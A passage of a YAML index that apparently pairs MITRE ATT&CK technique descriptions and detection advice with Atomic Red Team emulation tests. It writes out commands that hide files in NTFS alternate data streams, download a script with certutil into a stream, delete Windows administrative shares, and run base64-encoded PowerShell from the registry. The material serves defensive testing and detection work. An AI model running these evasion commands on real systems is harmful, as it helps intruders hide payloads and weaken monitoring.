        source_name: Microsoft File Streams
      - url: https://blog.malwarebytes.com/101/2015/07/introduction-to-alternate-data-streams/
        description: Arntz, P. (2015, July 22). Introduction to Alternate Data Streams.
          Retrieved March 21, 2018.
        source_name: MalwareBytes ADS July 2015
      - url: https://blogs.technet.microsoft.com/askcore/2013/03/24/alternate-data-streams-in-ntfs/
        description: Marlin, J. (2013, March 24). Alternate Data Streams in NTFS.
          Retrieved March 21, 2018.
        source_name: Microsoft ADS Mar 2014
      - url: http://journeyintoir.blogspot.com/2012/12/extracting-zeroaccess-from-ntfs.html
        description: Harrell, C. (2012, December 11). Extracting ZeroAccess from NTFS
          Extended Attributes. Retrieved June 3, 2016.
        source_name: Journey into IR ZeroAccess NTFS EA
      - url: https://oddvar.moe/2018/01/14/putting-data-in-alternate-data-streams-and-how-to-execute-it/
        description: Moe, O. (2018, January 14). Putting Data in Alternate Data Streams
          and How to Execute It. Retrieved June 30, 2018.
        source_name: Oddvar Moe ADS1 Jan 2018
      - url: https://oddvar.moe/2018/04/11/putting-data-in-alternate-data-streams-and-how-to-execute-it-part-2/
        description: Moe, O. (2018, April 11). Putting Data in Alternate Data Streams
          and How to Execute It - Part 2. Retrieved June 30, 2018.
        source_name: Oddvar Moe ADS2 Apr 2018
      - url: https://www.symantec.com/connect/articles/what-you-need-know-about-alternate-data-streams-windows-your-data-secure-can-you-restore
        description: Pravs. (2009, May 25). What you need to know about alternate
          data streams in windows? Is your Data secure? Can you restore that?. Retrieved
          March 21, 2018.
        source_name: Symantec ADS May 2009
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: NTFS File Attributes
      description: |-
        Adversaries may use NTFS file attributes to hide their malicious data in order to evade detection. Every New Technology File System (NTFS) formatted partition contains a Master File Table (MFT) that maintains a record for every file/directory on the partition. (Citation: SpectorOps Host-Based Jul 2017) Within MFT entries are file attributes, (Citation: Microsoft NTFS File Attributes Aug 2010) such as Extended Attributes (EA) and Data [known as Alternate Data Streams (ADSs) when more than one Data attribute is present], that can be used to store arbitrary data (and even complete files). (Citation: SpectorOps Host-Based Jul 2017) (Citation: Microsoft File Streams) (Citation: MalwareBytes ADS July 2015) (Citation: Microsoft ADS Mar 2014)

        Adversaries may store malicious data or binaries in file attribute metadata instead of directly in files. This may be done to evade some defenses, such as static indicator scanning tools and anti-virus. (Citation: Journey into IR ZeroAccess NTFS EA) (Citation: MalwareBytes ADS July 2015)
      id: attack-pattern--f2857333-11d4-45bf-b064-2c28d8525be5
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      modified: '2020-03-29T22:46:56.308Z'
      created: '2020-03-13T20:33:00.009Z'
      x_mitre_contributors:
      - Oddvar Moe, @oddvarmoe
      - Red Canary
      x_mitre_version: '1.0'
      x_mitre_is_subtechnique: true
      x_mitre_system_requirements:
      - NTFS partitioned hard drive
      x_mitre_defense_bypassed:
      - Anti-virus
      - Host forensic analysis
      - Signature-based detection
      x_mitre_detection: |-
        Forensic techniques exist to identify information stored in NTFS EA. (Citation: Journey into IR ZeroAccess NTFS EA) Monitor calls to the <code>ZwSetEaFile</code> and <code>ZwQueryEaFile</code> Windows API functions as well as binaries used to interact with EA, (Citation: Oddvar Moe ADS1 Jan 2018) (Citation: Oddvar Moe ADS2 Apr 2018) and consider regularly scanning for the presence of modified information. (Citation: SpectorOps Host-Based Jul 2017)

        There are many ways to create and interact with ADSs using Windows utilities. Monitor for operations (execution, copies, etc.) with file names that contain colons. This syntax (ex: <code>file.ext:ads[.ext]</code>) is commonly associated with ADSs. (Citation: Microsoft ADS Mar 2014) (Citation: Oddvar Moe ADS1 Jan 2018) (Citation: Oddvar Moe ADS2 Apr 2018) For a more exhaustive list of utilities that can be used to execute and create ADSs, see https://gist.github.com/api0cradle/cdd2d0d0ec9abb686f0e89306e277b8f.

        The Streams tool of Sysinternals can be used to uncover files with ADSs. The <code>dir /r</code> command can also be used to display ADSs. (Citation: Symantec ADS May 2009) Many PowerShell commands (such as Get-Item, Set-Item, Remove-Item, and Get-ChildItem) can also accept a <code>-stream</code> parameter to interact with ADSs. (Citation: MalwareBytes ADS July 2015) (Citation: Microsoft ADS Mar 2014)
      x_mitre_data_sources:
      - 'Process: OS API Execution'
      - 'File: File Metadata'
      - 'File: File Modification'
      - 'Command: Command Execution'
      x_mitre_platforms:
      - Windows
      identifier: T1564.004
    atomic_tests:
    - name: Alternate Data Streams (ADS)
      auto_generated_guid: 8822c3b0-d9f9-4daf-a043-49f4602364f4
      description: |
        Execute from Alternate Streams

        [Reference - 1](https://gist.github.com/api0cradle/cdd2d0d0ec9abb686f0e89306e277b8f)

        [Reference - 2](https://oddvar.moe/2018/01/14/putting-data-in-alternate-data-streams-and-how-to-execute-it/)
      supported_platforms:
      - windows
      input_arguments:
        path:
          description: Path of ADS file
          type: Path
          default: c:\ADS\
      executor:
        command: "type C:\\temp\\evil.exe > \"C:\\Program Files (x86)\\TeamViewer\\TeamViewer12_Logfile.log:evil.exe\"\nextrac32
          #{path}\\procexp.cab #{path}\\file.txt:procexp.exe\nfindstr /V /L W3AllLov3DonaldTrump
          #{path}\\procexp.exe > #{path}\\file.txt:procexp.exe\ncertutil.exe -urlcache
          -split -f https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1564.004/src/test.ps1
          c:\\temp:ttt\nmakecab #{path}\\autoruns.exe #{path}\\cabtest.txt:autoruns.cab\nprint
          /D:#{path}\\file.txt:autoruns.exe #{path}\\Autoruns.exe\nreg export HKLM\\SOFTWARE\\Microsoft\\Evilreg
          #{path}\\file.txt:evilreg.reg\nregedit /E #{path}\\file.txt:regfile.reg
          HKEY_CURRENT_USER\\MyCustomRegKey\nexpand \\\\webdav\\folder\\file.bat #{path}\\file.txt:file.bat\nesentutl.exe
          /y #{path}\\autoruns.exe /d #{path}\\file.txt:autoruns.exe /o \n"
        name: command_prompt
        elevation_required: true
    - name: Store file in Alternate Data Stream (ADS)
      auto_generated_guid: 2ab75061-f5d5-4c1a-b666-ba2a50df5b02
      description: |
        Storing files in Alternate Data Stream (ADS) similar to Astaroth malware.
        Upon execution cmd will run and attempt to launch desktop.ini. No windows remain open after the test
      supported_platforms:
      - windows
      input_arguments:
        payload_path:
          description: Path of file to hide in ADS
          type: Path
          default: c:\windows\system32\cmd.exe
        ads_file_path:
          description: Path of file to create an ADS under
          type: Path
          default: C:\Users\Public\Libraries\yanki\desktop.ini
        ads_name:
          description: Name of ADS
          type: String
          default: desktop.ini
      executor:
        command: |
          if (!(Test-Path C:\Users\Public\Libraries\yanki -PathType Container)) {
              New-Item -ItemType Directory -Force -Path C:\Users\Public\Libraries\yanki
              }
          Start-Process -FilePath "$env:comspec" -ArgumentList "/c,type,#{payload_path},>,`"#{ads_file_path}:#{ads_name}`""
        cleanup_command: 'Remove-Item "#{ads_file_path}" -Force -ErrorAction Ignore

'
        name: powershell
    - name: Create ADS command prompt
      auto_generated_guid: 17e7637a-ddaf-4a82-8622-377e20de8fdb
      description: |
        Create an Alternate Data Stream with the command prompt. Write access is required. Upon execution, run "dir /a-d /s /r | find ":$DATA"" in the %temp%
        folder to view that the alternate data stream exists. To view the data in the alternate data stream, run "notepad T1564.004_has_ads.txt:adstest.txt"
      supported_platforms:
      - windows
      input_arguments:
        file_name:
          description: File name of file to create ADS on.
          type: String
          default: "%temp%\\T1564.004_has_ads_cmd.txt"
        ads_filename:
          description: Name of ADS.
          type: String
          default: adstest.txt
      executor:
        command: |
          echo cmd /c echo "Shell code execution."> #{file_name}:#{ads_filename}
          for /f "usebackq delims=?" %i in (#{file_name}:#{ads_filename}) do %i
        cleanup_command: 'del #{file_name} >nul 2>&1

'
        name: command_prompt
    - name: Create ADS PowerShell
      auto_generated_guid: 0045ea16-ed3c-4d4c-a9ee-15e44d1560d1
      description: |
        Create an Alternate Data Stream with PowerShell. Write access is required. To verify execution, the the command "ls -Recurse | %{ gi $_.Fullname -stream *} | where stream -ne ':$Data' | Select-Object pschildname"
        in the %temp% direcotry to view all files with hidden data streams. To view the data in the alternate data stream, run "notepad.exe T1564.004_has_ads_powershell.txt:adstest.txt" in the %temp% folder.
      supported_platforms:
      - windows
      input_arguments:
        file_name:
          description: File name of file to create ADS on.
          type: String
          default: "$env:TEMP\\T1564.004_has_ads_powershell.txt"
        ads_filename:
          description: Name of ADS file.
          type: String
          default: adstest.txt
      dependency_executor_name: powershell
      dependencies:
      - description: 'The file must exist on disk at specified location (#{file_name})

'
        prereq_command: 'if (Test-Path #{file_name}) { exit 0 } else { exit 1 }

'
        get_prereq_command: 'New-Item -Path #{file_name} | Out-Null

'
      executor:
        command: |
          echo "test" > #{file_name} | set-content -path test.txt -stream #{ads_filename} -value "test"
          set-content -path #{file_name} -stream #{ads_filename} -value "test2"
          set-content -path . -stream #{ads_filename} -value "test3"
        cleanup_command: 'Remove-Item -Path #{file_name} -ErrorAction Ignore

'
        name: powershell
  T1599.001:
    technique:
      created: '2020-10-19T16:48:08.241Z'
      modified: '2020-10-21T01:45:58.951Z'
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      type: attack-pattern
      id: attack-pattern--4ffc1794-ec3b-45be-9e52-42dbcb2af2de
      description: "Adversaries may bridge network boundaries by modifying a network
        device’s Network Address Translation (NAT) configuration. Malicious modifications
        to NAT may enable an adversary to bypass restrictions on traffic routing that
        otherwise separate trusted and untrusted networks.\n\nNetwork devices such
        as routers and firewalls that connect multiple networks together may implement
        NAT during the process of passing packets between networks. When performing
        NAT, the network device will rewrite the source and/or destination addresses
        of the IP address header. Some network designs require NAT for the packets
        to cross the border device.  A typical example of this is environments where
        internal networks make use of non-Internet routable addresses.(Citation: RFC1918)\n\nWhen
        an adversary gains control of a network boundary device, they can either leverage
        existing NAT configurations to send traffic between two separated networks,
        or they can implement NAT configurations of their own design.  In the case
        of network designs that require NAT to function, this enables the adversary
        to overcome inherent routing limitations that would normally prevent them
        from accessing protected systems behind the border device.  In the case of
        network designs that do not require NAT, address translation can be used by
        adversaries to obscure their activities, as changing the addresses of packets
        that traverse a network boundary device can make monitoring data transmissions
        more challenging for defenders.  \n\nAdversaries may use [Patch System Image](https://attack.mitre.org/techniques/T1601/001)
        to change the operating system of a network device, implementing their own
        custom NAT mechanisms to further obscure their activities"
      name: Network Address Translation Traversal
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      external_references:
      - source_name: mitre-attack
        external_id: T1599.001
        url: https://attack.mitre.org/techniques/T1599/001
      - source_name: RFC1918
        url: https://tools.ietf.org/html/rfc1918
        description: IETF Network Working Group. (1996, February). Address Allocation
          for Private Internets. Retrieved October 20, 2020.
      x_mitre_platforms:
      - Network
      x_mitre_data_sources:
      - 'Network Traffic: Network Traffic Flow'
      - 'Network Traffic: Network Traffic Content'
      x_mitre_detection: |-
        Consider monitoring network traffic on both interfaces of border network devices.  Compare packets transmitted by the device between networks to look for signs of NAT being implemented.  Packets which have their IP addresses changed should still have the same size and contents in the data encapsulated beyond Layer 3.  In some cases, Port Address Translation (PAT) may also be used by an adversary.

        Monitor the border network device’s configuration to determine if any unintended NAT rules have been added without authorization.
      x_mitre_permissions_required:
      - Administrator
      x_mitre_is_subtechnique: true
      x_mitre_version: '1.0'
    atomic_tests: []
  T1599:
    technique:
      created: '2020-10-19T16:08:29.817Z'
      modified: '2020-10-21T01:45:59.246Z'
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      type: attack-pattern
      id: attack-pattern--b8017880-4b1e-42de-ad10-ae7ac6705166
      description: |-
        Adversaries may bridge network boundaries by compromising perimeter network devices. Breaching these devices may enable an adversary to bypass restrictions on traffic routing that otherwise separate trusted and untrusted networks.

        Devices such as routers and firewalls can be used to create boundaries between trusted and untrusted networks.  They achieve this by restricting traffic types to enforce organizational policy in an attempt to reduce the risk inherent in such connections.  Restriction of traffic can be achieved by prohibiting IP addresses, layer 4 protocol ports, or through deep packet inspection to identify applications.  To participate with the rest of the network, these devices can be directly addressable or transparent, but their mode of operation has no bearing on how the adversary can bypass them when compromised.

        When an adversary takes control of such a boundary device, they can bypass its policy enforcement to pass normally prohibited traffic across the trust boundary between the two separated networks without hinderance.  By achieving sufficient rights on the device, an adversary can reconfigure the device to allow the traffic they want, allowing them to then further achieve goals such as command and control via [Multi-hop Proxy](https://attack.mitre.org/techniques/T1090/003) or exfiltration of data via [Traffic Duplication](https://attack.mitre.org/techniques/T1020/001).  In the cases where a border device separates two separate organizations, the adversary can also facilitate lateral movement into new victim environments.
      name: Network Boundary Bridging
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      external_references:
      - source_name: mitre-attack
        external_id: T1599
        url: https://attack.mitre.org/techniques/T1599
      x_mitre_platforms:
      - Network
      x_mitre_data_sources:
      - 'Network Traffic: Network Traffic Flow'
      - 'Network Traffic: Network Traffic Content'
      x_mitre_detection: |-
        Consider monitoring network traffic on both interfaces of border network devices with out-of-band packet capture or network flow data, using a different device than the one in question.  Look for traffic that should be prohibited by the intended network traffic policy enforcement for the border network device.

        Monitor the border network device’s configuration to validate that the policy enforcement sections are what was intended.  Look for rules that are less restrictive, or that allow specific traffic types that were not previously authorized.
      x_mitre_defense_bypassed:
      - Router ACL
      - Firewall
      x_mitre_permissions_required:
      - Administrator
      x_mitre_is_subtechnique: false
      x_mitre_version: '1.0'
    atomic_tests: []
  T1556.004:
    technique:
      external_references:
      - source_name: mitre-attack
        external_id: T1556.004
        url: https://attack.mitre.org/techniques/T1556/004
      - source_name: FireEye - Synful Knock
        url: https://www.fireeye.com/blog/threat-research/2015/09/synful_knock_-_acis.html
        description: Bill Hau, Tony Lee, Josh Homan. (2015, September 15). SYNful
          Knock - A Cisco router implant - Part I. Retrieved October 19, 2020.
      - source_name: Cisco IOS Software Integrity Assurance - Image File Verification
        url: https://tools.cisco.com/security/center/resources/integrity_assurance.html#7
        description: Cisco. (n.d.). Cisco IOS Software Integrity Assurance - Cisco
          IOS Image File Verification. Retrieved October 19, 2020.
      - source_name: Cisco IOS Software Integrity Assurance - Run-Time Memory Verification
        url: https://tools.cisco.com/security/center/resources/integrity_assurance.html#13
        description: Cisco. (n.d.). Cisco IOS Software Integrity Assurance - Cisco
          IOS Run-Time Memory Integrity Verification. Retrieved October 19, 2020.
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      description: |-
        Adversaries may use [Patch System Image](https://attack.mitre.org/techniques/T1601/001) to hard code a password in the operating system, thus bypassing of native authentication mechanisms for local accounts on network devices.

        [Modify System Image](https://attack.mitre.org/techniques/T1601) may include implanted code to the operating system for network devices to provide access for adversaries using a specific password.  The modification includes a specific password which is implanted in the operating system image via the patch.  Upon authentication attempts, the inserted code will first check to see if the user input is the password. If so, access is granted. Otherwise, the implanted code will pass the credentials on for verification of potentially valid credentials.(Citation: FireEye - Synful Knock)
      name: Network Device Authentication
      id: attack-pattern--fa44a152-ac48-441e-a524-dd7b04b8adcd
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: credential-access
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      - kill_chain_name: mitre-attack
        phase_name: persistence
      modified: '2021-04-20T20:11:00.356Z'
      created: '2020-10-19T17:58:04.155Z'
      x_mitre_version: '2.0'
      x_mitre_is_subtechnique: true
      x_mitre_permissions_required:
      - Administrator
      x_mitre_detection: |-
        Consider verifying the checksum of the operating system file and verifying the image of the operating system in memory.(Citation: Cisco IOS Software Integrity Assurance - Image File Verification)(Citation: Cisco IOS Software Integrity Assurance - Run-Time Memory Verification)

        Detection of this behavior may be difficult, detection efforts may be focused on closely related adversary behaviors, such as [Modify System Image](https://attack.mitre.org/techniques/T1601).
      x_mitre_data_sources:
      - 'File: File Modification'
      x_mitre_platforms:
      - Network
    atomic_tests: []
  T1070.005:
    technique:
      external_references:
      - source_name: mitre-attack
        external_id: T1070.005
        url: https://attack.mitre.org/techniques/T1070/005
      - url: https://technet.microsoft.com/bb490717.aspx
        description: Microsoft. (n.d.). Net Use. Retrieved November 25, 2016.
        source_name: Technet Net Use
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: Network Share Connection Removal
      description: 'Adversaries may remove share connections that are no longer useful
        in order to clean up traces of their operation. Windows shared drive and [SMB/Windows
        Admin Shares](https://attack.mitre.org/techniques/T1021/002) connections can
        be removed when no longer needed. [Net](https://attack.mitre.org/software/S0039)
        is an example utility that can be used to remove network share connections
        with the <code>net use \\system\share /delete</code> command. (Citation: Technet
        Net Use)'
      id: attack-pattern--a750a9f6-0bde-4bb3-9aae-1e2786e9780c
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      modified: '2021-02-09T13:31:01.970Z'
      created: '2020-01-31T12:39:18.816Z'
      x_mitre_version: '1.0'
      x_mitre_is_subtechnique: true
      x_mitre_system_requirements:
      - Established network share connection to a remote system. Level of access depends
        on permissions of the account used.
      x_mitre_permissions_required:
      - Administrator
      - User
      x_mitre_defense_bypassed:
      - Host forensic analysis
      x_mitre_detection: Network share connections may be common depending on how
        an network environment is used. Monitor command-line invocation of <code>net
        use</code> commands associated with establishing and removing remote shares
        over SMB, including following best practices for detection of [Windows Admin
        Shares](https://attack.mitre.org/techniques/T1077). SMB traffic between systems
        may also be captured and decoded to look for related network share session
        and file transfer activity. Windows authentication logs are also useful in
        determining when authenticated network shares are established and by which
        account, and can be used to correlate network share activity to other events
        to investigate potentially malicious activity.
      x_mitre_data_sources:
      - 'Process: Process Creation'
      - 'Command: Command Execution'
      - 'Network Traffic: Network Traffic Content'
      - 'User Account: User Account Authentication'
      x_mitre_platforms:
      - Windows
      identifier: T1070.005
    atomic_tests:
    - name: Add Network Share
      auto_generated_guid: 14c38f32-6509-46d8-ab43-d53e32d2b131
      description: 'Add a Network Share utilizing the command_prompt

'
      supported_platforms:
      - windows
      input_arguments:
        share_name:
          description: Share to add.
          type: String
          default: "\\\\test\\share"
      executor:
        command: |
          net use c: #{share_name}
          net share test=#{share_name} /REMARK:"test share" /CACHE:No
        name: command_prompt
    - name: Remove Network Share
      auto_generated_guid: '09210ad5-1ef2-4077-9ad3-7351e13e9222'
      description: 'Removes a Network Share utilizing the command_prompt

'
      supported_platforms:
      - windows
      input_arguments:
        share_name:
          description: Share to remove.
          type: String
          default: "\\\\test\\share"
      executor:
        command: 'net share #{share_name} /delete

'
        name: command_prompt
    - name: Remove Network Share PowerShell
      auto_generated_guid: 0512d214-9512-4d22-bde7-f37e058259b3
      description: 'Removes a Network Share utilizing PowerShell

'
      supported_platforms:
      - windows
      input_arguments:
        share_name:
          description: Share to remove.
          type: String
          default: "\\\\test\\share"
      executor:
        command: |
          Remove-SmbShare -Name #{share_name}
          Remove-FileShare -Name #{share_name}
        name: powershell
    - name: Disable Administrative Share Creation at Startup
      auto_generated_guid: 99c657aa-ebeb-4179-a665-69288fdd12b8
      description: "Administrative shares are hidden network shares created by Microsoft’s
        Windows NT operating systems that grant system administrators \nremote access
        to every disk volume on a network-connected system. These shares are automatically
        created at started unless they have been\npurposefully disabled and is done
        in this Atomic test. As Microsoft puts it, \"Missing administrative shares
        typically \nindicate that the computer in question has been compromised by
        malicious software.\"\nhttps://threatpost.com/conti-ransomware-gang-has-full-log4shell-attack-chain/177173/\n"
      supported_platforms:
      - windows
      executor:
        command: |
          reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters" /v AutoShareServer /t REG_DWORD /d 0 /f
          reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters" /v AutoShareWks /t REG_DWORD /d 0 /f
        cleanup_command: |
          reg delete "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters" /v AutoShareServer /f
          reg delete "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters" /v AutoShareWks /f
        name: command_prompt
        elevation_required: true
    - name: Remove Administrative Shares
      auto_generated_guid: 4299eff5-90f1-4446-b2f3-7f4f5cfd5d62
      description: "Administrative shares are hidden network shares created by Microsoft’s
        Windows NT operating systems that grant system administrators \nremote access
        to every disk volume on a network-connected system. As Microsoft puts it,
        “Missing administrative shares typically \nindicate that the computer in question
        has been compromised by malicious software.\nhttps://threatpost.com/conti-ransomware-gang-has-full-log4shell-attack-chain/177173/\n"
      supported_platforms:
      - windows
      executor:
        command: for %i in (C$ IPC$ ADMIN$) do net share %i /delete
        cleanup_command: |
          net share ADMIN$ /UNLIMITED >nul 2>&1
          net share C$=C:\ >nul 2>&1
          net share IPC$ >nul 2>&1
        name: command_prompt
        elevation_required: true
  T1027:
    technique:
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      external_references:
      - source_name: mitre-attack
        external_id: T1027
        url: https://attack.mitre.org/techniques/T1027
      - external_id: CAPEC-267
        source_name: capec
        url: https://capec.mitre.org/data/definitions/267.html
      - url: https://www.volexity.com/blog/2016/11/09/powerduke-post-election-spear-phishing-campaigns-targeting-think-tanks-and-ngos/
        description: 'Adair, S.. (2016, November 9). PowerDuke: Widespread Post-Election
          Spear Phishing Campaigns Targeting Think Tanks and NGOs. Retrieved January
          11, 2017.'
        source_name: Volexity PowerDuke November 2016
      - url: https://www.welivesecurity.com/2013/04/26/linuxcdorked-new-apache-backdoor-in-the-wild-serves-blackhole/
        description: 'Pierre-Marc Bureau. (2013, April 26). Linux/Cdorked.A: New Apache
          backdoor being used in the wild to serve Blackhole. Retrieved September
          10, 2017.'
        source_name: Linux/Cdorked.A We Live Security Analysis
      - url: https://www.carbonblack.com/2016/09/23/security-advisory-variants-well-known-adware-families-discovered-include-sophisticated-obfuscation-techniques-previously-associated-nation-state-attacks/
        description: Tedesco, B. (2016, September 23). Security Alert Summary. Retrieved
          February 12, 2018.
        source_name: Carbon Black Obfuscation Sept 2016
      - url: https://www.fireeye.com/blog/threat-research/2017/06/obfuscation-in-the-wild.html
        description: 'Bohannon, D. & Carr N. (2017, June 30). Obfuscation in the Wild:
          Targeted Attackers Lead the Way in Evasion Techniques. Retrieved February
          12, 2018.'
        source_name: FireEye Obfuscation June 2017
      - url: https://www.fireeye.com/content/dam/fireeye-www/blog/pdfs/revoke-obfuscation-report.pdf
        description: 'Bohannon, D. & Holmes, L. (2017, July 27). Revoke-Obfuscation:
          PowerShell Obfuscation Detection Using Science. Retrieved February 12, 2018.'
        source_name: FireEye Revoke-Obfuscation July 2017
      - url: https://researchcenter.paloaltonetworks.com/2017/03/unit42-pulling-back-the-curtains-on-encodedcommand-powershell-attacks/
        description: White, J. (2017, March 10). Pulling Back the Curtains on EncodedCommand
          PowerShell Attacks. Retrieved February 12, 2018.
        source_name: PaloAlto EncodedCommand March 2017
      - url: https://github.com/danielbohannon/Revoke-Obfuscation
        description: Bohannon, D. (2017, July 27). Revoke-Obfuscation. Retrieved February
          12, 2018.
        source_name: GitHub Revoke-Obfuscation
      - url: https://github.com/itsreallynick/office-crackros
        description: Carr, N. (2016, August 14). OfficeCrackros. Retrieved February
          12, 2018.
        source_name: GitHub Office-Crackros Aug 2016
      description: "Adversaries may attempt to make an executable or file difficult
        to discover or analyze by encrypting, encoding, or otherwise obfuscating its
        contents on the system or in transit. This is common behavior that can be
        used across different platforms and the network to evade defenses. \n\nPayloads
        may be compressed, archived, or encrypted in order to avoid detection. These
        payloads may be used during Initial Access or later to mitigate detection.
        Sometimes a user's action may be required to open and [Deobfuscate/Decode
        Files or Information](https://attack.mitre.org/techniques/T1140) for [User
        Execution](https://attack.mitre.org/techniques/T1204). The user may also be
        required to input a password to open a password protected compressed/encrypted
        file that was provided by the adversary. (Citation: Volexity PowerDuke November
        2016) Adversaries may also used compressed or archived scripts, such as JavaScript.
        \n\nPortions of files can also be encoded to hide the plain-text strings that
        would otherwise help defenders with discovery. (Citation: Linux/Cdorked.A
        We Live Security Analysis) Payloads may also be split into separate, seemingly
        benign files that only reveal malicious functionality when reassembled. (Citation:
        Carbon Black Obfuscation Sept 2016)\n\nAdversaries may also obfuscate commands
        executed from payloads or directly via a [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059).
        Environment variables, aliases, characters, and other platform/language specific
        semantics can be used to evade signature based detections and application
        control mechanisms. (Citation: FireEye Obfuscation June 2017) (Citation: FireEye
        Revoke-Obfuscation July 2017)(Citation: PaloAlto EncodedCommand March 2017) "
      name: Obfuscated Files or Information
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      id: attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      modified: '2021-04-24T13:19:18.594Z'
      created: '2017-05-31T21:30:32.662Z'
      x_mitre_is_subtechnique: false
      x_mitre_version: '1.1'
      x_mitre_contributors:
      - Red Canary
      - Christiaan Beek, @ChristiaanBeek
      x_mitre_data_sources:
      - 'File: File Content'
      - 'File: File Metadata'
      - 'File: File Creation'
      - 'Process: Process Creation'
      - 'Command: Command Execution'
      - 'Command: Command Execution'
      x_mitre_defense_bypassed:
      - Host forensic analysis
      - Signature-based detection
      - Host intrusion prevention systems
      - Application control
      - Log analysis
      - Application control by file name or path
      x_mitre_detection: "Detection of file obfuscation is difficult unless artifacts
        are left behind by the obfuscation process that are uniquely detectable with
        a signature. If detection of the obfuscation itself is not possible, it may
        be possible to detect the malicious activity that caused the obfuscated file
        (for example, the method that was used to write, read, or modify the file
        on the file system). \n\nFlag and analyze commands containing indicators of
        obfuscation and known suspicious syntax such as uninterpreted escape characters
        like '''^''' and '''\"'''. Windows' Sysmon and Event ID 4688 displays command-line
        arguments for processes. Deobfuscation tools can be used to detect these indicators
        in files/payloads. (Citation: GitHub Revoke-Obfuscation) (Citation: FireEye
        Revoke-Obfuscation July 2017) (Citation: GitHub Office-Crackros Aug 2016)
        \n\nObfuscation used in payloads for Initial Access can be detected at the
        network. Use network intrusion detection systems and email gateway filtering
        to identify compressed and encrypted attachments and scripts. Some email attachment
        detonation systems can open compressed and encrypted attachments. Payloads
        delivered over an encrypted connection from a website require encrypted network
        traffic inspection. \n\nThe first detection of a malicious tool may trigger
        an anti-virus or other security tool alert. Similar events may also occur
        at the boundary through network IDS, email scanning appliance, etc. The initial
        detection should be treated as an indication of a potentially more invasive
        intrusion. The alerting system should be thoroughly investigated beyond that
        initial alert for activity that was not detected. Adversaries may continue
        with an operation, assuming that individual events like an anti-virus detect
        will not be investigated or that an analyst will not be able to conclusively
        link that event to other activity occurring on the network. "
      x_mitre_platforms:
      - Linux
      - macOS
      - Windows
      identifier: T1027
    atomic_tests:
    - name: Decode base64 Data into Script
      auto_generated_guid: f45df6be-2e1e-4136-a384-8f18ab3826fb
      description: |
        Creates a base64-encoded data file and decodes it into an executable shell script

        Upon successful execution, sh will execute art.sh, which is a base64 encoded command, that stdouts `echo Hello from the Atomic Red Team`.
      supported_platforms:
      - macos
      - linux
      executor:
        command: |
          sh -c "echo ZWNobyBIZWxsbyBmcm9tIHRoZSBBdG9taWMgUmVkIFRlYW0= > /tmp/encoded.dat"
          cat /tmp/encoded.dat | base64 -d > /tmp/art.sh
          chmod +x /tmp/art.sh
          /tmp/art.sh
        name: sh
    - name: Execute base64-encoded PowerShell
      auto_generated_guid: a50d5a97-2531-499e-a1de-5544c74432c6
      description: |
        Creates base64-encoded PowerShell code and executes it. This is used by numerous adversaries and malicious tools.

        Upon successful execution, powershell will execute an encoded command and stdout default is "Write-Host "Hey, Atomic!"
      supported_platforms:
      - windows
      input_arguments:
        powershell_command:
          description: PowerShell command to encode
          type: String
          default: Write-Host "Hey, Atomic!"
      executor:
        command: |
          $OriginalCommand = '#{powershell_command}'
          $Bytes = [System.Text.Encoding]::Unicode.GetBytes($OriginalCommand)
          $EncodedCommand =[Convert]::ToBase64String($Bytes)
          $EncodedCommand
          powershell.exe -EncodedCommand $EncodedCommand
        name: powershell
    - name: Execute base64-encoded PowerShell from Windows Registry
      auto_generated_guid: 450e7218-7915-4be4-8b9b-464a49eafcec
      description: |
        Stores base64-encoded PowerShell code in the Windows Registry and deobfuscates it for execution. This is used by numerous adversaries and malicious tools.

        Upon successful execution, powershell will execute encoded command and read/write from the registry.
      supported_platforms:
      - windows
      input_arguments:
        registry_key_storage:
          description: Windows Registry Key to store code
          type: String
          default: HKCU:Software\Microsoft\Windows\CurrentVersion
        powershell_command:
          description: PowerShell command to encode
          type: String
          default: Write-Host "Hey, Atomic!"
        registry_entry_storage:
          description: Windows Registry entry to store code under key
          type: String
          default: Debug
      executor:
        command: |
          $OriginalCommand = '#{powershell_command}'
          $Bytes = [System.Text.Encoding]::Unicode.GetBytes($OriginalCommand)
          $EncodedCommand =[Convert]::ToBase64String($Bytes)
          $EncodedCommand

          Set-ItemProperty -Force -Path #{registry_key_storage} -Name #{registry_entry_storage} -Value $EncodedCommand
          powershell.exe -Command "IEX ([Text.Encoding]::UNICODE.GetString([Convert]::FromBase64String((gp #{registry_key_storage} #{registry_entry_storage}).#{registry_entry_storage})))"
